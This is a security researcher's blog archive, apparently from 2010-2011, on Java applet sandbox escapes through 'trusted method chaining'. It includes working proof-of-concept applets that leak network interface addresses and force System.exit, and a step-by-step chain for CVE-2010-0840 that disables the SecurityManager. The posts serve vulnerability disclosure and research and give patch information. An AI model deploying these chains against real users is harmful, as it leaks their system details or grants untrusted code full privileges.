Showing posts with label trusted method chaining. Show all posts
Showing posts with label trusted method chaining. Show all posts

Tuesday, February 01, 2011

Trusted Method Chaining for Network Interface details

Here's yet another Trusted Method Chaining instance. This one can be used for listing network interface details. No need for anything tricky (such as classes created with a custom compiler) this time. However, since this is an information leak, it's not simply enough to call the method - we need to get our hands on the return value, as well. I'm not sure if it could be scraped off of the screen, but it's really simple to define our own renderer to which the GUI passes the information quite handily.

By the way, this instance and the previous one along with some others were uncovered by a prototype of an automated tool that searches a set of classes for interesting chaining instances.

This one's simple:
  • java.net.NetworkInterface.getNetworkInterfaces() returns an Enumeration of network interfaces, in the form of NetworkInterface objects.
  • NetworkInterface.toString() calls getInetAddresses()
  • NetworkInterface.getInetAddresses() has a security check, so it can't be called directly

To create the chain:
  • Put all NetworkInterface objects in a JList
  • Make JList visible

To get the programmatic access to the values, we can set a DefaultListCellRenderer subclass as the renderer for the JList. The setText() method of our renderer receives all displayed values.

Here's an example that gets all the interface information and dumps it to the Java console. It probably gets repeated a few times because of how the Java GUI works:

001 package ex6.chaining.networkinterfaces;
002 
003 import java.applet.Applet;
004 import java.net.NetworkInterface;
005 import java.util.Enumeration;
006 import java.util.Vector;
007 
008 import javax.swing.DefaultListCellRenderer;
009 import javax.swing.JList;
010 
011 public class Example extends Applet {
012     public void start() {
013         Vector interfaceList = new Vector();
014         try {
015             Enumeration en = NetworkInterface.getNetworkInterfaces();
016             while (en.hasMoreElements()) {
017                 interfaceList.add(en.nextElement());
018             }
019         } catch (Exception e ) {
020             e.printStackTrace();
021         }
022         JList jlist = new JList(interfaceList);
023         jlist.setCellRenderer(new DefaultListCellRenderer() {
024             
025             public void setText(String text) {
026                 System.out.println("::" + text);
027                 super.setText(text);
028             }
029         });
030         this.add(jlist);
031     }
032 }


It should vomit something like this on the Java console (System.out)

Linux:

::
::name:eth1 (eth1) index: 3 addresses:
/fe80:0:0:0:212:34ff:fe56:789a%3;
/172.21.0.108;

::name:lo (lo) index: 1 addresses:
/0:0:0:0:0:0:0:1%1;
/127.0.0.1;

...

Windows:

::
::name:lo (MS TCP Loopback interface) index: 1 addresses:
/127.0.0.1;

::name:eth0 (AMD PCNET Family PCI Ethernet Adapter - Miniporta do agendador de pacotes) index: 65539 addresses:
/172.21.0.110;

...

Sunday, January 30, 2011

Trusted Method Chaining to a System.exit

More details on the chaining instance I mentioned in my talk. This one is not a remote code execution vulnerability, it simply about calling System.exit from an applet (which shouldn't be allowed, but doesn't really do anything interesting). It might be remotely possible that this could be used for a DoS in some marginal SecurityManager scenario.

The idea is to create a chain from an object's toString() method to com.sun.org.apache.bcel.internal.classfile.Utility.codeToString(), which has this confusing switch statement:


That logic relies on a bunch of final arrays from a class named Constant. In Java Security 101 we learn that the data in final arrays isn't final at all, and so in this case the data can be modified in such a way that the execution reaches the impossible-to-reach block which calls System.exit. Now all that remains is getting trusted code to call the above piece of code. The chain to do that is as follows:

-Have the GUI draw an instance of com.sun.org.apache.bcel.internal.classfile.Code, calling the toString() method of the object

-The toString() method calls Utility.codeToString()

-Utility.codeToString() has the above piece of code

The code to do that:

001 package ex6.chaining.systemexit;
002 
003 import java.applet.Applet;
004 
005 import javax.swing.JList;
006 
007 import com.sun.org.apache.bcel.internal.Constants;
008 import com.sun.org.apache.bcel.internal.classfile.Attribute;
009 import com.sun.org.apache.bcel.internal.classfile.Code;
010 import com.sun.org.apache.bcel.internal.classfile.CodeException;
011 import com.sun.org.apache.bcel.internal.classfile.Constant;
012 import com.sun.org.apache.bcel.internal.classfile.ConstantPool;
013 
014 public class Example extends Applet {
015     public void start() {
016         // modify the final array elements
017         Constants.NO_OF_OPERANDS[0] = 1;
018         Constants.TYPE_OF_OPERANDS[0] = new short[1];
019         byte[] codebytes = new byte[] {0, 0, 0};
020         Code code = new Code(1, 1, 0, 0, codebytes, new CodeException[0], new Attribute[0], new ConstantPool(new Constant[0]));
021         JList list = new JList(new Object[] {code});
022         this.add(list);
023     }
024 }

Wednesday, January 19, 2011

Hazards of Duke

I did a talk on Java Sandbox (in)security at the end of October last year, at the t2 security conference.

Here are the slides for that talk: Hazards of Duke / Java Sandbox (in)security

For the readers of this blog, there shouldn't be too many new things. There are, however some new (in the sense that they haven't been fixed and I haven't discussed them on the blog) vulnerabilities discussed:

  • A chaining instance that calls System.exit() and kills the virtual machine.
  • A chaining instance that lists all network interfaces (IP addresses, etc).
  • A programmatic GUI manipulation attack that allows renaming and moving files using the JFileChooser class. This one would be severe enough for me to pass on to ZDI, but it's ineligible, because I already informed Sun Microsystems about it in 2008. There are some clues in the slides, but I demoed the issue at my talk and I can give a practical example here, too.

Thursday, April 08, 2010

Java Trusted Method Chaining (CVE-2010-0840/ZDI-10-056)

Relevant Identifiers:
ZDI-10-056, CVE-2010-0840


Impact:
Privilege escalation of the Java security sandbox. The most obvious target would be the Java Runtime running Java Applets, JavaFX and Java Web Start applications in a web browser. Untrusted code will gain full privileges of the user executing the browser process.


Oracle Java Patch:
http://www.oracle.com/technology/deploy/security/critical-patch-updates/javacpumar2010.html


Steps to remedy:
Update to Java 6 update 19


Details:
Java code originating from the Java core classes in the JRE/lib directory is considered trusted.

Java code originating from an unsigned Java applet is considered untrusted.

When Java evaluates privileges for any given operation, it considers the whole method call stack.

For each item on the stack, the privileges of the class that defined the method in question are considered. Thus, if class Foo defines method call() and class Bar is a subclass of Foo, and an instance of Bar is on the stack, and the method is call(), the privileges of Foo, not Bar, are considered.

It is possible to implement interface methods with methods inherited from a superclass; For example, if interface CacheItem has void method delete() and class Folder, which implements no interfaces, has a method with a compatible signature, it is possible to create a concrete class FolderPosingAsACacheItem which extends the Folder class, and implements the CacheItem (with the inherited method) without defining any methods of its own.

There are hundreds (thousands?) of trusted classes in the Java core that call methods on objects which can be defined by untrusted code either directly, via sub-classing or via deserialization.

These methods can be arranged in such a way that a trusted thread (such as one of the event threads) may be chained into calling method A which calls method B which calls method C ... which calls method Z. As only trusted code will be on the calling stack, the privileged context of the trusted thread is maintained. If one finds a method Z that does something interesting, such as a parameterizable method invocation via reflection, that invocation will take place in a privileged context.

This is very bad because it means that security relies that there not exist harmful combinations of methods signatures; something that is not feasible to control, as opposed to the very controlled model of having a number of doPrivileged blocks which are known to be dangerous, but relatively easy to control.

ZDI-10-056/CVE-2010-0840 leverages this by creating a trusted chain as follows:

- instantiate a vuln.Link (subclass of java.beans.Expression) pointing the invoke params to class: java.lang.System, method setSecurityManager, args: null
- instantiate a new java.util.HashSet and put the vuln.Link (which is also a Map.Entry) in the Set
- instantiate an anonymous subclass of HashMap where the entrySet method returns the instance defined above
- instantiate a javax.swing.JList object, passing the HashMap instance defined above as the list contents
- add the JList on any visible component (such as the applet itself)

And here's what happens when the digital Rube Goldberg machine is set into motion:

- the GUI thread wants to draw the JList and calls JList.paint(Graphics)
- JList while drawing itself, calls toString on the list contents, including said anonymous subclass of HashMap
- HashMap inherits AbstractMap's toString method which calls entrySet().iterator() and iterates the resulting Set, calling getValue on each Entry
- one of the Entry objects returned by the implementation is a subclass of Statement, which implements the Entry interface's getValue() method with the Statement.getValue()
- Expression.getValue() calls Statement.invoke()
- Statement.invoke() has been parametrized to call System.setSecurityManager(null) via reflection

...and Java security gets switched off.

Safety First:
The vuln.Link class cannot be created with a normal Java compiler. Hopefully that'll keep the virus writers at bay, while the details enlighten the security community.

The Fix:
Based on my very brief analysis, Java 6 update fixes this problem by altering the Statement.invoke() to use the AccessControlContext captured at the moment of instantiation when it uses the reflection.